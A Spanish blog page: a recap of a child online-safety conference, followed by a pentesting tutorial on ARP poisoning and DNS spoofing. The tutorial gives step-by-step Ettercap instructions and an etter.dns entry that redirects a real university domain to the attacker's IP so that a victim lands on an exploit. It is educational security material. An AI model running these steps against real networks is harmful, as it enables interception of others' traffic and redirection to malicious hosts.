Prosiguió Fernando Miró Llinares Director de Crimina.es, para dar una ponencia, que como el mismo comentaba, habría sido quizás interesante para abrir las jornadas, ya que de una manera muy clara definió términos que se escapaban a muchos de los asistentes (como phishing, spoofing, y un largo etc.), así como las distintas actividades delictivas que se mueven por la red.

A continuación arrancamos Angelucho y yo nuestra intervención en las jornadas, con una doble charla conjunta, “Radiografía de un Ciberdepredador” y “A la caza del Ciberdepredador”. En la primera parte, Ángel habló largo y tendido sobre los depredadores de la red, como piensan, como identificarlos, donde buscan a sus víctimas, su vocabulario, sus signos, dónde y cómo se comunican, mostrando casos reales aparecidos en prensa española e internet que dejaron a los asistentes perplejos. Continué hablando sobre la colaboración de Flu Project con Anti-Depredadores y contando el caso de una menor que fue acosada durante 2 años por uno de los ciberdepredadores que muy bien definió Ángel anteriormente. Finalizamos con unos consejos para que entre todos consigamos 1Red+Segura.

No hubo tiempo para preguntas, nos habíamos comido todo el tiempo con nuestras ponencias, pero una persona en el auditorio expresó “Me dan ganas de llorar, ¿Por qué no nos han contado esto antes?. Ambos nos miramos con la satisfacción de haber logrado nuestro objetivo, concienciar de los peligros reales a los que se pueden enfrentar los menores y contra los que normalmente empleamos la “técnica de la avestruz”, tan nombrada a lo largo de las ponencias.

Tras nuestra charla, nos salimos para poder hablar tranquilamente con los asistentes que no pudieron hacernos preguntas. Nos perdimos, por desgracia, parte de la siguiente charla de nuestro amigo Josep Arbors, de Ontinet. Pero por lo que nos comentaron los asistentes, y lo que llegamos a escuchar, fue de lo más interesante, coincidiendo en los lógicos consejos que todos los ponentes dábamos a lo largo de cada una de las ponencias.

A continuación hubo una mesa redonda en la que intervino María Sousa-Valadas, directora del departamento de soporte al usuario de Tuenti, y habló sobre las iniciativas de la compañía de Telefónica para proteger a los menores en su red social. Por lo que pudimos ver, parece que es una de las redes sociales que más trabajan en la protección de los menores, pero aún les queda un largo camino, tal y como se habló durante todo el evento y en el que se propusieron algunas medidas como el registro de usuarios mediante DNI electrónico, para evitar que los menores de 14 años accedan a las redes sociales.

En la misma mesa participaron Antonio Barranco, asesor del Ayuntamiento de Valencia, quien nos deleitó con una ponencia extraordinaria sobre las nuevas tecnologías vistas desde el punto de vista de un antropólogo y especialista en Inteligencia y Antonio Amorós Albert, Jefe de la Policía Local de Elche quien nos explicó diferentes aspectos sobre la incidencia de las nuevas tecnologías en los menores.

Tras el cierre del evento nos fuimos a comer a un italiano y continuamos hablando de gusanos, exploits, y otros temas que se quedarán reservados para los comensales :)

Después, y tras un viaje 2Fast2Furious con Josep, llegamos al tren (con 1 minuto entero de sobra… :P) para volver a Madrid.

Una experiencia muy gratificante, que esperamos repetir próximamente.

Estas Jornadas, contadas desde el punto de vista de unos ponentes y con un leve tono de humor, deberían ser un ejemplo para otros municipios y ciudades. El concienciar en el buen uso de las nuevas tecnologías no es algo bueno, simplemente es algo NECESARIO.

Nos vemos en la red…

5 feb 2013

Episodio de Pentesting (Parte VI)

Hola! hoy seguiremos con nuestra cadena Episodio de Pentesting hablando sobre el proceso de envenenamiento DNS.

A grandes rasgos un envenenamiento DNS, más conocido por su traducción en inglés DNS Poissoning, es una forma de ataque MiTM en el que el atacante hará que el PC atacado resuelva las direcciones con un servidor de DNS “alterado”. Esto puede parecer un poco complejo al principio, pero vamos a explicarlo de forma más detallada.

Primero introduciremos un nuevo concepto que no se definió en el tutorial porque consideré que era más conveniente verlo justo en el momento de su necesidad. Así que a continuación se explicará que es el Protocolo ARP (Adress Resolution Protocol) y el envenenamiento de su cache.

Básicamente es un protocolo responsable de encontrar la dirección MAC correspondiente a una determinada IP. Imaginemos ordenador A y ordenador B.

ARP Request: El ordenador A pregunta en la red a quién pertenece una determinada IP, pongamos 192.168.1.1.

ARP Reply: Todos los demás ordenadores de la red ignorarán la petición a excepción del que tenga esa dirección IP. Este ordenador contestará con un paquete que contendrá la IP requerida y su dirección MAC.

El protocolo fue diseñado para ser simple y eficiente pero su mayor defecto es la ausencia de autenticación. Como resultado, no hay manera de autenticar la IP con la dirección MAC contenida en el ARP Reply. Además, el host ni siquiera comprueba si fue enviada la respuesta ARP desde la misma IP que se solicitó en la petición.

Esto quiere decir que si un ordenador A, envía una petición y recibe una respuesta ARP, el protocolo no puede comprobar si la IP corresponde con su MAC. Incluso si un host no envió una petición ARP pero si recibe una respuesta ARP, confía en la información de respuesta y actualiza su cache ARP.

Por tanto, como podemos observar parece fácil explotar el débil protocolo ARP. Es posible enviar a la red entera una respuesta ARP en la que cualquier IP está mapeada a cualquier MAC.

La vulnerabilidad anterior permite el ataque a una LAN de varias formas, en este caso, y como ya hemos indicado anteriormente utilizaremos la técnica Man in the Middle, que nos permitirá hacer sniff a todo el tráfico entre dos PC de la red.

Para conseguir esto, supongamos que mi PC es el host A, y mi router es el host B. Mi ordenador tiene una IP-A y una MAC-A, y el router una IP-B y una MAC-B.

La máquina C, o sea, la que realizará el ataque, envía una respuesta ARP a B que mapea IP-A con MAC-C, y otra respuesta ARP hacia A que mapea IP-B con MAC-C. Por tanto ahora cualquier paquete enviado desde A a B o desde B a A, llegará a C. Entonces es momento de activar en C, IP forwarding (Redireccionamiento IP), que permite redireccionar A a B. Es este momento cuando C se encuentra justo en medio de la conexión entre A y B, y tenemos un ataque Man in the Middle en toda regla.

Toda esta teoría es imprescindible, pero creo que es hora de pasar a la práctica.

Os presento a Ettercap, que nos permitirá poner en práctica este ataque. En esta ocasión vamos a utilizar la interfaz gráfica por su comodidad, ya que es un rollazo aprenderse la ingente cantidad de comandos que tiene la CLI, y no es cómodo para trabajar. En caso de no querer iniciar Xorg, podemos usar Ettercap –C, que funciona con una interfaz creada con curses. Así que iniciamos Ettercap introduciendo en la terminal “ettercap -G”.

A continuación hacemos click en “Sniff -> Unified Sniffing” y se nos abrirá una ventana de selección en la que podremos escoger cualquiera de las interfaces disponibles. Como estoy trabajando en VB,elijo eth0.

clip_image002

(Ettercap en modo Unified Sniffing)

Ahora vamos a escanear la red para ver los equipos, por lo que hacemos click en “Hosts -> Scan for host”. Y cuando esté completado en “Hosts -> Host List”. Ahora vemos información interesante, que son todos los host de la red listados con direcciones MAC correspondientes. Nos disponemos a hacer un ataque MiTM, por tanto seleccionamos un host y pulsamos en “Add to Target 1” y hacemos lo mismo con el otro host que queramos interceptar pero esta vez lo añadimos en “Add to Target 2”.

clip_image004(Seleccionando objetivos en Ettercap)

Ahora seleccionamos “Mitm -> Arp Poisoning” y marcamos la opción de Sniff Remote Connection. Una vez hecho esto iniciamos el Sniff desde “Start -> Start Sniffing”

Una vez que los paquetes están pasando por nuestro PC, lo que necesitamos es direccionar a la víctima a la dirección IP en la que hemos inyectado el exploit, para ello lo que vamos a hacer es redireccionar el DNS usando un plugin de Ettercap que se llama dns-spoof. Pero antes debemos editar el archivo de configuración que Ettercap dedica al dns. Si estáis habituados al archivo de Linux hosts (/etc/hosts) veréis que la configuración se hace del mismo modo, así que desde una terminal nos vamos a editar el archivo de configuración de DNS de Ettercap.

“nano /usr/local/share/ettercap/etter.dns”

Aquí añadimos las líneas que queramos para redireccionar cualquier dirección a nuestra IP. Yo he puesto la dirección de la UJA añadiendo esto:

*.ujaen.es A 192.168.1.27

ujaen.es A 192.168.1.27

Una vez hemos hecho eso, solo queda activar el plugin, y todo estará listo.

Saludos!